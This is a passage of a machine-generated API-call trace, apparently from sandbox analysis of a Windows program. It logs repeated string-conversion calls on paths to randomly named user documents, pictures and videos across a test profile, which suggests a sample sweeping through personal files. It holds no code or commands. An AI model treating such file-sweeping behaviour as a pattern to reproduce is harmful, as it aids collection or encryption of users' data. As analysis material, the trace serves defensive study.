lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/9oBPh66lU7Zt.pptxrGJn0jS%20HALPmcxz/Documents/9oBPh66lU7Zt.pptx", lpUsedDefaultChar=0x0) returned 67 [0074.664] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452be4c, cbMultiByte=67, lpWideCharStr=0x4527098, cchWideChar=135 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/9oBPh66lU7Zt.pptx") returned 67 [0074.664] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/c_0f9-L4gyuk6.xlsx", cchWideChar=68, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/c_0f9-L4gyuk6.xlsxGJn0jS%20HALPmcxz/Documents/c_0f9-L4gyuk6.xlsx", lpUsedDefaultChar=0x0) returned 68 [0074.664] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3985fbc, cbMultiByte=68, lpWideCharStr=0x4527144, cchWideChar=137 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/c_0f9-L4gyuk6.xlsx\x90") returned 68 [0074.664] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/2qASZGVP1ayqj/vJNcNYrw.ods", cchWideChar=98, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/2qASZGVP1ayqj/vJNcNYrw.odsub/FZM1YvnX6BDzLLQ_/2qASZGVP1ayqj/vJNcNYrw.ods", lpUsedDefaultChar=0x0) returned 98 [0074.664] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d0c, cbMultiByte=98, lpWideCharStr=0x3986048, cchWideChar=197 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/2qASZGVP1ayqj/vJNcNYrw.ods牴湩열AԬȲỬ") returned 98 [0074.664] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/xCUGudyvE2cZEXnf.docx", cchWideChar=71, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/xCUGudyvE2cZEXnf.docx0jS%20HALPmcxz/Documents/xCUGudyvE2cZEXnf.docx", lpUsedDefaultChar=0x0) returned 71 [0074.664] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3986160, cbMultiByte=71, lpWideCharStr=0x39861ac, cchWideChar=143 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/xCUGudyvE2cZEXnf.docx") returned 71 [0074.664] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/NiKTO1C7%20RIwfLd.odp", cchWideChar=93, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/NiKTO1C7%20RIwfLd.odpts/yiub/FZM1YvnX6BDzLLQ_/NiKTO1C7%20RIwfLd.odp", lpUsedDefaultChar=0x0) returned 93 [0074.664] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3986290, cbMultiByte=93, lpWideCharStr=0x39828ac, cchWideChar=187 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/NiKTO1C7%20RIwfLd.odp") returned 93 [0074.665] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/Q28Inf3N_0B4jbpxb7Nm.bmp", cchWideChar=72, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/Q28Inf3N_0B4jbpxb7Nm.bmpjS%20HALPmcxz/Desktop/Q28Inf3N_0B4jbpxb7Nm.bmp", lpUsedDefaultChar=0x0) returned 72 [0074.665] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3986348, cbMultiByte=72, lpWideCharStr=0x3986114, cchWideChar=145 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/Q28Inf3N_0B4jbpxb7Nm.bmp\x98") returned 72 [0074.665] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Ln1OAOuc%20geS2WIzM.png", cchWideChar=79, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Ln1OAOuc%20geS2WIzM.pngLPmcxz/AppData/Roaming/Ln1OAOuc%20geS2WIzM.png", lpUsedDefaultChar=0x0) returned 79 [0074.665] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x39863a0, cbMultiByte=79, lpWideCharStr=0x4527544, cchWideChar=159 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Ln1OAOuc%20geS2WIzM.png") returned 79 [0074.665] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/COFUGhxhYso60.gif", cchWideChar=81, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/COFUGhxhYso60.gifmcxz/Pictures/LlZj-da3Lc0SAD/COFUGhxhYso60.gif", lpUsedDefaultChar=0x0) returned 81 [0074.665] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452bf5c, cbMultiByte=81, lpWideCharStr=0x3986448, cchWideChar=163 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/COFUGhxhYso60.gif1열AԬȲᬐ") returned 81 [0074.665] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/1KRW.docx", cchWideChar=65, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/1KRW.docx5NrGJn0jS%20HALPmcxz/AppData/Roaming/1KRW.docx", lpUsedDefaultChar=0x0) returned 65 [0074.665] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452be4c, cbMultiByte=65, lpWideCharStr=0x4526ff4, cchWideChar=131 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/1KRW.docx") returned 65 [0074.665] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/A8IAMc.png", cchWideChar=88, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/A8IAMc.pngctures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/A8IAMc.png", lpUsedDefaultChar=0x0) returned 88 [0074.665] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3986554, cbMultiByte=88, lpWideCharStr=0x39826cc, cchWideChar=177 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/A8IAMc.png¸") returned 88 [0074.665] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/tJu9GFmu.doc", cchWideChar=93, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/tJu9GFmu.docts/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/tJu9GFmu.doc", lpUsedDefaultChar=0x0) returned 93 [0074.665] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x39865bc, cbMultiByte=93, lpWideCharStr=0x3986620, cchWideChar=187 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/tJu9GFmu.docl열AԬȲᤠ") returned 93 [0074.666] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/qHy%20Bq3sd4UO/CSSjndh.png", cchWideChar=75, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/qHy%20Bq3sd4UO/CSSjndh.png20HALPmcxz/Pictures/qHy%20Bq3sd4UO/CSSjndh.png", lpUsedDefaultChar=0x0) returned 75 [0074.666] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x398674c, cbMultiByte=75, lpWideCharStr=0x4527398, cchWideChar=151 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/qHy%20Bq3sd4UO/CSSjndh.png") returned 75 [0074.666] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/qHy%20Bq3sd4UO/g5F7NFHxCw.png", cchWideChar=78, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/qHy%20Bq3sd4UO/g5F7NFHxCw.pngALPmcxz/Pictures/qHy%20Bq3sd4UO/g5F7NFHxCw.png", lpUsedDefaultChar=0x0) returned 78 [0074.666] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x398680c, cbMultiByte=78, lpWideCharStr=0x3986860, cchWideChar=157 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/qHy%20Bq3sd4UO/g5F7NFHxCw.png楔敭열AԬȲ᛼") returned 78 [0074.666] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/hVotFJWhFGBD%202Z.mkv", cchWideChar=77, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/hVotFJWhFGBD%202Z.mkvHALPmcxz/AppData/Roaming/hVotFJWhFGBD%202Z.mkv", lpUsedDefaultChar=0x0) returned 77 [0074.666] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3986978, cbMultiByte=77, lpWideCharStr=0x4527470, cchWideChar=155 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/hVotFJWhFGBD%202Z.mkv") returned 77 [0074.666] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/Ti-oi3g-0V2.gif", cchWideChar=63, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/Ti-oi3g-0V2.gif5p5NrGJn0jS%20HALPmcxz/Desktop/Ti-oi3g-0V2.gif", lpUsedDefaultChar=0x0) returned 63 [0074.666] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x39869d4, cbMultiByte=63, lpWideCharStr=0x3986a18, cchWideChar=127 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/Ti-oi3g-0V2.gif牣열AԬȲᕤ") returned 63 [0074.666] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/lLiekJL.pdf", cchWideChar=79, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/lLiekJL.pdfLPmcxz/Documents/yiub/ZHL2s_-N8agn/lLiekJL.pdf", lpUsedDefaultChar=0x0) returned 79 [0074.666] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3986b18, cbMultiByte=79, lpWideCharStr=0x3986b6c, cchWideChar=159 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/lLiekJL.pdf漢열AԬȲᏰ") returned 79 [0074.666] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/-LozpNEJj9YNqUHsd.bmp", cchWideChar=77, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/-LozpNEJj9YNqUHsd.bmpHALPmcxz/AppData/Roaming/-LozpNEJj9YNqUHsd.bmp", lpUsedDefaultChar=0x0) returned 77 [0074.666] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3986c90, cbMultiByte=77, lpWideCharStr=0x3986ce4, cchWideChar=155 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/-LozpNEJj9YNqUHsd.bmpѕ열AԬȲቼ") returned 77 [0074.666] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/QCte6Xmtwsu.gif", cchWideChar=64, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/QCte6Xmtwsu.gifp5NrGJn0jS%20HALPmcxz/Pictures/QCte6Xmtwsu.gif", lpUsedDefaultChar=0x0) returned 64 [0074.666] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452be4c, cbMultiByte=64, lpWideCharStr=0x3986e00, cchWideChar=129 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/QCte6Xmtwsu.gif᪲열AԬȲᅸ") returned 64 [0074.667] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/W_6RWJXn.pdf", cchWideChar=60, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/W_6RWJXn.pdfrs/5p5NrGJn0jS%20HALPmcxz/Desktop/W_6RWJXn.pdf", lpUsedDefaultChar=0x0) returned 60 [0074.667] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3986e90, cbMultiByte=60, lpWideCharStr=0x3986ed4, cchWideChar=121 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/W_6RWJXn.pdf搵搭열AԬȲႬ") returned 60 [0074.667] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/Pgl1JgetxAYIiS/5wR63HlMWYvMti0btzx.docx", cchWideChar=107, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/Pgl1JgetxAYIiS/5wR63HlMWYvMti0btzx.docx-N8agn/Pgl1JgetxAYIiS/5wR63HlMWYvMti0btzx.docx", lpUsedDefaultChar=0x0) returned 107 [0074.667] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3986fe0, cbMultiByte=107, lpWideCharStr=0x3982f94, cchWideChar=215 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/Pgl1JgetxAYIiS/5wR63HlMWYvMti0btzx.docx") returned 107 [0074.667] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/dCkeRMnueuS.png", cchWideChar=63, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/dCkeRMnueuS.png5p5NrGJn0jS%20HALPmcxz/Desktop/dCkeRMnueuS.png", lpUsedDefaultChar=0x0) returned 63 [0074.667] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3986e90, cbMultiByte=63, lpWideCharStr=0x3986f54, cchWideChar=127 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/dCkeRMnueuS.png") returned 63 [0074.667] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/IGq6V3a/bPu-.png", cchWideChar=65, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/IGq6V3a/bPu-.png5NrGJn0jS%20HALPmcxz/Pictures/IGq6V3a/bPu-.png", lpUsedDefaultChar=0x0) returned 65 [0074.667] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452be4c, cbMultiByte=65, lpWideCharStr=0x23205bc, cchWideChar=131 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/IGq6V3a/bPu-.pngԁ열A濔Θ㦼") returned 65 [0074.667] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/t5djWBc.xlsx", cchWideChar=62, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/t5djWBc.xlsx/5p5NrGJn0jS%20HALPmcxz/Documents/t5djWBc.xlsx", lpUsedDefaultChar=0x0) returned 62 [0074.667] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3986e90, cbMultiByte=62, lpWideCharStr=0x23206d4, cchWideChar=125 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/t5djWBc.xlsx") returned 62 [0074.667] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/nbee0Jd.doc", cchWideChar=66, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/nbee0Jd.docNrGJn0jS%20HALPmcxz/Documents/yiub/nbee0Jd.doc", lpUsedDefaultChar=0x0) returned 66 [0074.667] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452be4c, cbMultiByte=66, lpWideCharStr=0x2320530, cchWideChar=133 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/nbee0Jd.doc\x8c") returned 66 [0074.667] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/v-hwxlt-kD.gif", cchWideChar=92, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/v-hwxlt-kD.gifes/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/v-hwxlt-kD.gif", lpUsedDefaultChar=0x0) returned 92 [0074.667] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23207f8, cbMultiByte=92, lpWideCharStr=0x232085c, cchWideChar=185 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/kC1ICfT8pFYQG/v-hwxlt-kD.gif") returned 92 [0074.668] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/IGq6V3a/O1JQviCY05VrmDz2PZWI.png", cchWideChar=81, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/IGq6V3a/O1JQviCY05VrmDz2PZWI.pngmcxz/Pictures/IGq6V3a/O1JQviCY05VrmDz2PZWI.png", lpUsedDefaultChar=0x0) returned 81 [0074.668] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452bf5c, cbMultiByte=81, lpWideCharStr=0x23209b8, cchWideChar=163 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/IGq6V3a/O1JQviCY05VrmDz2PZWI.png") returned 81 [0074.668] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/IGq6V3a/j-PQ.jpg", cchWideChar=65, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/IGq6V3a/j-PQ.jpg5NrGJn0jS%20HALPmcxz/Pictures/IGq6V3a/j-PQ.jpg", lpUsedDefaultChar=0x0) returned 65 [0074.668] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452be4c, cbMultiByte=65, lpWideCharStr=0x2320b00, cchWideChar=131 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/IGq6V3a/j-PQ.jpg,열A濔Θ㑸") returned 65 [0074.668] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/Ck3vXIHItmOFDrYXb.csv", cchWideChar=89, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/Ck3vXIHItmOFDrYXb.csvuments/yiub/ZHL2s_-N8agn/Ck3vXIHItmOFDrYXb.csv", lpUsedDefaultChar=0x0) returned 89 [0074.668] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2320c34, cbMultiByte=89, lpWideCharStr=0x2320c94, cchWideChar=179 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/Ck3vXIHItmOFDrYXb.csv楴열A濔Θ㊴") returned 89 [0074.668] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/cplLZefa0txn/4qhj.png", cchWideChar=85, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/cplLZefa0txn/4qhj.png/Pictures/LlZj-da3Lc0SAD/cplLZefa0txn/4qhj.png", lpUsedDefaultChar=0x0) returned 85 [0074.668] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2320dfc, cbMultiByte=85, lpWideCharStr=0x45277c8, cchWideChar=171 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/LlZj-da3Lc0SAD/cplLZefa0txn/4qhj.png") returned 85 [0074.668] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/KuQFwu.bmp", cchWideChar=66, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/KuQFwu.bmpNrGJn0jS%20HALPmcxz/AppData/Roaming/KuQFwu.bmp", lpUsedDefaultChar=0x0) returned 66 [0074.668] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452be4c, cbMultiByte=66, lpWideCharStr=0x2320f04, cchWideChar=133 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/KuQFwu.bmp 敮열A濔Θば") returned 66 [0074.668] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/gLb9EGvUD/I_dy9.xlsx", cchWideChar=95, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/gLb9EGvUD/I_dy9.xlsx/yiub/18tCh2fbWO9uqJ4SH0r/gLb9EGvUD/I_dy9.xlsx", lpUsedDefaultChar=0x0) returned 95 [0074.668] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2321048, cbMultiByte=95, lpWideCharStr=0x398299c, cchWideChar=191 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/gLb9EGvUD/I_dy9.xlsx") returned 95 [0074.669] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/3ymkgwpUkCk/Pmee/3Us5nuIYL1u_RnPPuJ/WnrIX/Qsu-c/pa%20U3CiwSuzLbnk.mkv", cchWideChar=116, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 